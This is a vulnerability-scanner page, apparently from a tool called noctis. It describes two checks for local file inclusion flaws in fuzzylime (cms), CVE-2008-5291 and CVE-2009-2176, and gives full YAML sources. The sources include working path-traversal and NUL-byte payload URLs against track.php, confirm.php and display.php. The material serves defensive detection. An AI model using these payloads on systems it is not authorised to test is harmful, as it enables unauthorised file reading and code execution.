fuzzylime (cms — 2 vulnerability checks
noctis ships 2 vulnerability checks for fuzzylime (cms, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
fuzzylime (cms) code/track.php Local File Inclusion
| CVE | CVE-2008-5291 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/fuzzylime-cms/CVE-2008-5291.yaml |
Tests fuzzylime (cms) 3.03 and earlier for the unauthenticated local file inclusion in code/track.php. The p parameter is put in an include path without filtering once the POST fields url, title and excerpt are set, so ../ sequences and a NUL byte that cuts the appended suffix include any local file when magic_quotes_gpc is off on PHP older than 5.3.4. Under the web root, /cms, /fuzzylime and /fuzzylime/_cms303, the feed posts the three fields with p set to /proc/version, a read-only kernel file, then to windows/win.ini for Windows servers. The kernel version line or the win.ini sections printed in the reply confirm the inclusion. A control request for an absent random file through the same parameter must not return the file, so a server that serves the same content on every request is not reported. Nothing is written on the target.
How noctis detects it
- HTTP(S) request
POST {{dir}}/code/track.php?p=../../../../../../../../../../proc/version%00with a crafted body - Checks
version_r.bodyforLinux version [0-9]+\.[0-9]+[^ \r\n<]* \([^\r\n]*\) #[0-9]+ - HTTP(S) request
POST {{dir}}/code/track.php?p=../../../../../../../../../../windows/win.ini%00with a crafted body - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
POST {{dir}}/code/track.php?p=../../../../../../../../../../noctis-absent-{{oob_token}}/{…with a crafted body - Checks
ctrl_r.bodyfor(?i)(Linux version [0-9]+\.[0-9]+[^ \r\n<]* \(|; for 16-bit app suppo… - Checks
hit_filefor^(proc/version|windows/win\.ini)$→ finding QoD 75: fuzzylime (cms) code/track.php Local File Inclusion (CVE-2008-5291)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2008-5291
- https://www.exploit-db.com/exploits/7231
- http://www.securityfocus.com/bid/32475
Feed source — tests/vulnerabilities/fuzzylime-cms/CVE-2008-5291.yaml
# fuzzylime (cms) 3.03 code/track.php p parameter local file inclusion — CVE-2008-5291
#
# code/track.php of fuzzylime (cms) 3.03 (advisory: exploit-db 7231):
# $p = $_GET[p]; // not filtered
# if(!isset($_POST[url]) || !isset($_POST[title]) || !isset($_POST[excerpt])) { redirect }
# if(file_exists("../blogs/$p.inc.php")) { include "../blogs/$p.inc.php"; }
# With magic_quotes_gpc off on PHP < 5.3.4, "../" sequences and a %00 that cuts
# the ".inc.php" suffix make file_exists() and include() reach any local file,
# which PHP runs (or prints as-is when it holds no PHP code).
#
# Detection (benign, read-only): POST url/title/excerpt to track.php with p set to
# ../ ... /proc/version%00 — a read-only kernel file with a fixed
# "Linux version <release> (...) #<n>" line — then windows/win.ini when the Linux
# file gives nothing. The file content printed in the reply proves the inclusion.
# QoD 75 (response analysis).
#
# Improvements over the source NASL:
# - the NASL only reads docs/readme.txt and compares the version with 3.03 (no
# inclusion is tried); the feed proves the inclusion itself.
# - /proc/version: procfs cannot be rewritten, so nothing on the target can change.
# - Ten "../" levels, so the include works whatever the install depth.
# - A control request (same script and parameter, a path in an absent random
# directory ending with the file that hit) must come back WITHOUT the file
# content, so a blanket responder or a honeypot keyed on the file name is not
# reported (fail-closed: no control reply, no finding).
# - Probes the usual install locations (web root, /cms, /fuzzylime,
# /fuzzylime/_cms303) instead of relying on install detection.
#
# CVSS: CVE-2008-5291 has an NVD v2 score of 7.5 only (no v3).
#
# Ported from OpenVAS/Greenbone NVT 2008/gb_fuzzylime_cms_local_file_inc_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800314, GPL-2.0-only).
uid: fdb16378-ddd8-4754-af8f-dbc9c626bb1a
name: "fuzzylime (cms) code/track.php Local File Inclusion (CVE-2008-5291)"
description: |
Tests fuzzylime (cms) 3.03 and earlier for the unauthenticated local file
inclusion in code/track.php. The p parameter is put in an include path without
filtering once the POST fields url, title and excerpt are set, so ../ sequences
and a NUL byte that cuts the appended suffix include any local file when
magic_quotes_gpc is off on PHP older than 5.3.4. Under the web root, /cms,
/fuzzylime and /fuzzylime/_cms303, the feed posts the three fields with p set
to /proc/version, a read-only kernel file, then to windows/win.ini for Windows
servers. The kernel version line or the win.ini sections printed in the reply
confirm the inclusion. A control request for an absent random file through the
same parameter must not return the file, so a server that serves the same
content on every request is not reported. Nothing is written on the target.
cves: [CVE-2008-5291]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [fuzzylime, php, local-file-inclusion, lfi, path-traversal, null-byte, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2008-5291"
- "https://www.exploit-db.com/exploits/7231"
- "http://www.securityfocus.com/bid/32475"
# OpenVAS/Greenbone NASL 2008/gb_fuzzylime_cms_local_file_inc_vuln.nasl (GPL-2.0-only)
steps:
# Loop group: every following step runs once per install location.
- id: init-hit-file
action: set_var
var_name: hit_file
var_value: ""
loop:
var: dir
over: ["", "/cms", "/fuzzylime", "/fuzzylime/_cms303"]
- id: init-hit-text
action: set_var
var_name: hit_text
var_value: ""
- id: init-version-r
action: set_var
var_name: version_r
var_value: {status: 0, body: ""}
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: track-version
action: http_request
method: POST
path: "{{dir}}/code/track.php?p=../../../../../../../../../../proc/version%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "url=noctis&title=noctis&excerpt=noctis"
store_as: version_r
- id: track-version-content
action: match
source: version_r.body
pattern: "Linux version [0-9]+\\.[0-9]+[^ \\r\\n<]* \\([^\\r\\n]*\\) #[0-9]+"
on_match:
set_vars:
hit_file: "proc/version"
hit_text: "the Linux kernel version line of /proc/version"
# Windows server: windows/win.ini, only when track.php answered (200).
- id: track-winini
action: http_request
method: POST
path: "{{dir}}/code/track.php?p=../../../../../../../../../../windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'hit_file == "" && version_r.status == 200'
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "url=noctis&title=noctis&excerpt=noctis"
store_as: winini_r
- id: track-winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'hit_file == "" && version_r.status == 200'
on_match:
set_vars:
hit_file: "windows/win.ini"
hit_text: "the sections of windows/win.ini"
# Control: same script and parameter, absent random file ending with the file that hit.
- id: control
action: http_request
method: POST
path: "{{dir}}/code/track.php?p=../../../../../../../../../../noctis-absent-{{oob_token}}/{{hit_file}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'hit_file != ""'
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "url=noctis&title=noctis&excerpt=noctis"
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?i)(Linux version [0-9]+\\.[0-9]+[^ \\r\\n<]* \\(|; for 16-bit app support|\\[fonts\\])"
condition: 'hit_file != ""'
on_match:
set_vars:
ctrl_hit: true
- id: report
action: match
source: hit_file
pattern: "^(proc/version|windows/win\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "fuzzylime (cms) code/track.php Local File Inclusion (CVE-2008-5291)"
description: "An unauthenticated POST to code/track.php whose p parameter held a ../ sequence ending in a NUL byte made fuzzylime (cms) include a local system file and print it, while the same request for an absent file did not. The same flaw includes any file the web server user can read and runs any PHP code it holds."
remediation: "The product is no longer maintained: remove it or restrict access to code/track.php. Otherwise turn magic_quotes_gpc on or move to PHP 5.3.4 or later, where a NUL byte no longer cuts a path."
confidence_delta: 0.55
qod: 75
evidence: "POST {{dir}}/code/track.php?p=../../../../../../../../../../{{hit_file}}%00 returned {{hit_text}}; control for an absent file returned no file content"
stop: truefuzzylime (cms) confirm.php / display.php Local File Inclusion
| CVE | CVE-2009-2176 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/fuzzylime-cms/CVE-2009-2176.yaml |
Tests fuzzylime (cms) 3.03a and earlier for the unauthenticated local file inclusion in code/confirm.php (list parameter) and code/display.php (template parameter). Both build an include path from the parameter, so ../ sequences and a NUL byte that cuts the appended suffix include any local file when magic_quotes_gpc is off on PHP older than 5.3.4. Under the web root, /cms and /fuzzylime, the feed asks confirm.php, then display.php, to include /proc/version, a read-only kernel file, and on display.php also windows/win.ini for Windows servers. The kernel version line or the win.ini sections printed in the reply confirm the inclusion. display.php is called with usecache=0 and msg=1 so its page cache is not written. A control request for an absent random file through the same parameter must not return the file, so a server that serves the same content on every request is not reported. Nothing is written on the target.
How noctis detects it
- HTTP(S) request
GET {{dir}}/code/confirm.php?e[]&list=../../../../../../../../../../proc/version%00 - Checks
c_version_r.bodyforLinux version [0-9]+\.[0-9]+[^ \r\n<]* \([^\r\n]*\) #[0-9]+ - HTTP(S) request
GET {{dir}}/code/display.php?usecache=0&msg=1&template=../../../../../../../../../../proc… - Checks
d_version_r.bodyforLinux version [0-9]+\.[0-9]+[^ \r\n<]* \([^\r\n]*\) #[0-9]+ - HTTP(S) request
GET {{dir}}/code/display.php?usecache=0&msg=1&template=../../../../../../../../../../wind… - Checks
d_winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{hit_prefix}}../../../../../../../../../../noctis-absent-{{oob_token}}/{{hit_file}}%… - Checks
ctrl_r.bodyfor(?i)(Linux version [0-9]+\.[0-9]+[^ \r\n<]* \(|; for 16-bit app suppo… - Checks
hit_filefor^(proc/version|windows/win\.ini)$→ finding QoD 75: fuzzylime (cms) confirm.php / display.php Local File Inclusion (CVE-2009-2176)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-2176
- https://www.exploit-db.com/exploits/8978
- http://www.securityfocus.com/bid/35418
Feed source — tests/vulnerabilities/fuzzylime-cms/CVE-2009-2176.yaml
# fuzzylime (cms) code/confirm.php list / code/display.php template local file inclusion — CVE-2009-2176
#
# fuzzylime (cms) 3.03a and earlier (fixed in 3.03b) build include paths from
# request parameters (advisory: exploit-db 8978):
# code/confirm.php : @extract($_GET); ... elseif(isset($e)) {
# $filename = "code/mailing/$list.inc.php"; @include $filename; }
# extract() sets $e and $list from the query string whatever
# register_globals says.
# code/display.php : include "templates/${template}_f.php"; (register_globals on)
# With magic_quotes_gpc off on PHP < 5.3.4, "../" sequences and a %00 that cuts
# the ".inc.php" / "_f.php" suffix include any local file, which PHP executes
# (or prints as-is when it holds no PHP code).
#
# Detection (benign, read-only): include /proc/version — a read-only kernel file
# with a fixed "Linux version <release> (...) #<n>" format — through confirm.php
# (list=), then display.php (template=); on display.php, windows/win.ini when the
# Linux file gives nothing. The printed file content proves the inclusion.
# QoD 75 (response analysis).
#
# Improvements over the source NASL:
# - The NASL includes ../../admin/index.php and reports when "admin/index.php"
# appears anywhere in the reply: a page that echoes the request URL (404
# pages, the scanner's own query string) matches it, and a real include of
# the admin page from code/ (mod_php runs with code/ as working directory)
# resolves to code/admin/index.php, which does not exist. The feed matches
# the CONTENT of the included file instead.
# - Ten "../" levels: extra levels stop at the root, so the include works
# whatever the working directory and install depth.
# - /proc/version, not /etc/passwd or win.ini, through confirm.php: the
# mailing-list code after the include is not public and may write the list
# file back to the same (NUL-truncated) path; procfs files cannot be
# rewritten, so nothing on the target can change.
# - display.php (the second include named by CVE-2009-2176) is probed too,
# with usecache=0 and msg=1 so its page cache is never written (the cache
# write is skipped when msg is set).
# - A control request (same script and parameter, a path in an absent random
# directory that ends with the file that hit) must come back WITHOUT the
# file content, so a blanket responder or a honeypot keyed on the file name
# is not reported (fail-closed: no control reply → no finding).
# - The NASL's install detection is replaced by probing the usual install
# locations (web root, /cms, /fuzzylime) directly.
#
# CVEs: the NASL lists CVE-2009-2176 (the two includes) and CVE-2009-2177
# (display.php s parameter overwrites files through the page cache). Only the
# includes are proven; overwriting a file is destructive, so CVE-2009-2177 is
# not exercised and not named. CVSS: CVE-2009-2176 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_fuzzylime_cms_code_exec_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900584, GPL-2.0-only).
uid: 4f1626ae-f3d5-409b-977c-765df18365b2
name: "fuzzylime (cms) confirm.php / display.php Local File Inclusion (CVE-2009-2176)"
description: |
Tests fuzzylime (cms) 3.03a and earlier for the unauthenticated local file
inclusion in code/confirm.php (list parameter) and code/display.php (template
parameter). Both build an include path from the parameter, so ../ sequences
and a NUL byte that cuts the appended suffix include any local file when
magic_quotes_gpc is off on PHP older than 5.3.4. Under the web root, /cms and
/fuzzylime, the feed asks confirm.php, then display.php, to include
/proc/version, a read-only kernel file, and on display.php also
windows/win.ini for Windows servers. The kernel version line or the win.ini
sections printed in the reply confirm the inclusion. display.php is called
with usecache=0 and msg=1 so its page cache is not written. A control request
for an absent random file through the same parameter must not return the
file, so a server that serves the same content on every request is not
reported. Nothing is written on the target.
cves: [CVE-2009-2176]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [fuzzylime, php, local-file-inclusion, lfi, path-traversal, null-byte, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-2176"
- "https://www.exploit-db.com/exploits/8978"
- "http://www.securityfocus.com/bid/35418"
# OpenVAS/Greenbone NASL 2009/gb_fuzzylime_cms_code_exec_vuln.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per install location.
# Each pass resets the values it reads, so nothing is left over.
- id: init-hit-file
action: set_var
var_name: hit_file
var_value: ""
loop:
var: dir
over: ["", "/cms", "/fuzzylime"]
- id: init-hit-prefix
action: set_var
var_name: hit_prefix
var_value: ""
- id: init-hit-text
action: set_var
var_name: hit_text
var_value: ""
- id: init-c-version-r
action: set_var
var_name: c_version_r
var_value: {status: 0, body: ""}
- id: init-d-version-r
action: set_var
var_name: d_version_r
var_value: {status: 0, body: ""}
- id: init-d-winini-r
action: set_var
var_name: d_winini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── confirm.php: list → include "code/mailing/<list>.inc.php" ─────────────
- id: confirm-version
action: http_request
method: GET
path: "{{dir}}/code/confirm.php?e[]&list=../../../../../../../../../../proc/version%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: c_version_r
- id: confirm-version-content
action: match
source: c_version_r.body
pattern: "Linux version [0-9]+\\.[0-9]+[^ \\r\\n<]* \\([^\\r\\n]*\\) #[0-9]+"
on_match:
set_vars:
hit_file: "proc/version"
hit_prefix: "{{dir}}/code/confirm.php?e[]&list="
hit_text: "the Linux kernel version line of /proc/version"
# ── display.php: template → include "templates/<template>_f.php"
# (register_globals on). usecache=0 + msg=1: the page cache is not written.
- id: display-version
action: http_request
method: GET
path: "{{dir}}/code/display.php?usecache=0&msg=1&template=../../../../../../../../../../proc/version%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'hit_file == ""'
store_as: d_version_r
- id: display-version-content
action: match
source: d_version_r.body
pattern: "Linux version [0-9]+\\.[0-9]+[^ \\r\\n<]* \\([^\\r\\n]*\\) #[0-9]+"
condition: 'hit_file == ""'
on_match:
set_vars:
hit_file: "proc/version"
hit_prefix: "{{dir}}/code/display.php?usecache=0&msg=1&template="
hit_text: "the Linux kernel version line of /proc/version"
# Windows server: windows/win.ini, only when display.php answered (200).
- id: display-winini
action: http_request
method: GET
path: "{{dir}}/code/display.php?usecache=0&msg=1&template=../../../../../../../../../../windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'hit_file == "" && d_version_r.status == 200'
store_as: d_winini_r
- id: display-winini-content
action: match
source: d_winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'hit_file == "" && d_version_r.status == 200'
on_match:
set_vars:
hit_file: "windows/win.ini"
hit_prefix: "{{dir}}/code/display.php?usecache=0&msg=1&template="
hit_text: "the sections of windows/win.ini"
# ── Control: same script and parameter, absent random file ───────────────
# The absent path sits in a random missing directory but still ENDS with
# the file that hit, so a honeypot keyed on that name or suffix answers it too.
- id: control
action: http_request
method: GET
path: "{{hit_prefix}}../../../../../../../../../../noctis-absent-{{oob_token}}/{{hit_file}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'hit_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?i)(Linux version [0-9]+\\.[0-9]+[^ \\r\\n<]* \\(|; for 16-bit app support|\\[fonts\\])"
condition: 'hit_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Finding (control answered and stayed clean) ──────────────────────────
- id: report
action: match
source: hit_file
pattern: "^(proc/version|windows/win\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "fuzzylime (cms) confirm.php / display.php Local File Inclusion (CVE-2009-2176)"
description: "An unauthenticated request whose include parameter held a ../ sequence ending in a NUL byte made fuzzylime (cms) include a local system file and print it, while the same request for an absent file did not. The same flaw includes any file the web server user can read, such as the site's settings, and runs any PHP code it holds."
remediation: "Upgrade fuzzylime (cms) to 3.03b or later (the product is no longer maintained: consider removing it), turn magic_quotes_gpc on or move to PHP 5.3.4 or later where a NUL byte no longer cuts a path, and keep register_globals off."
confidence_delta: 0.55
qod: 75
evidence: "{{hit_prefix}}../../../../../../../../../../{{hit_file}}%00 returned {{hit_text}}; control for an absent file returned no file content"
stop: true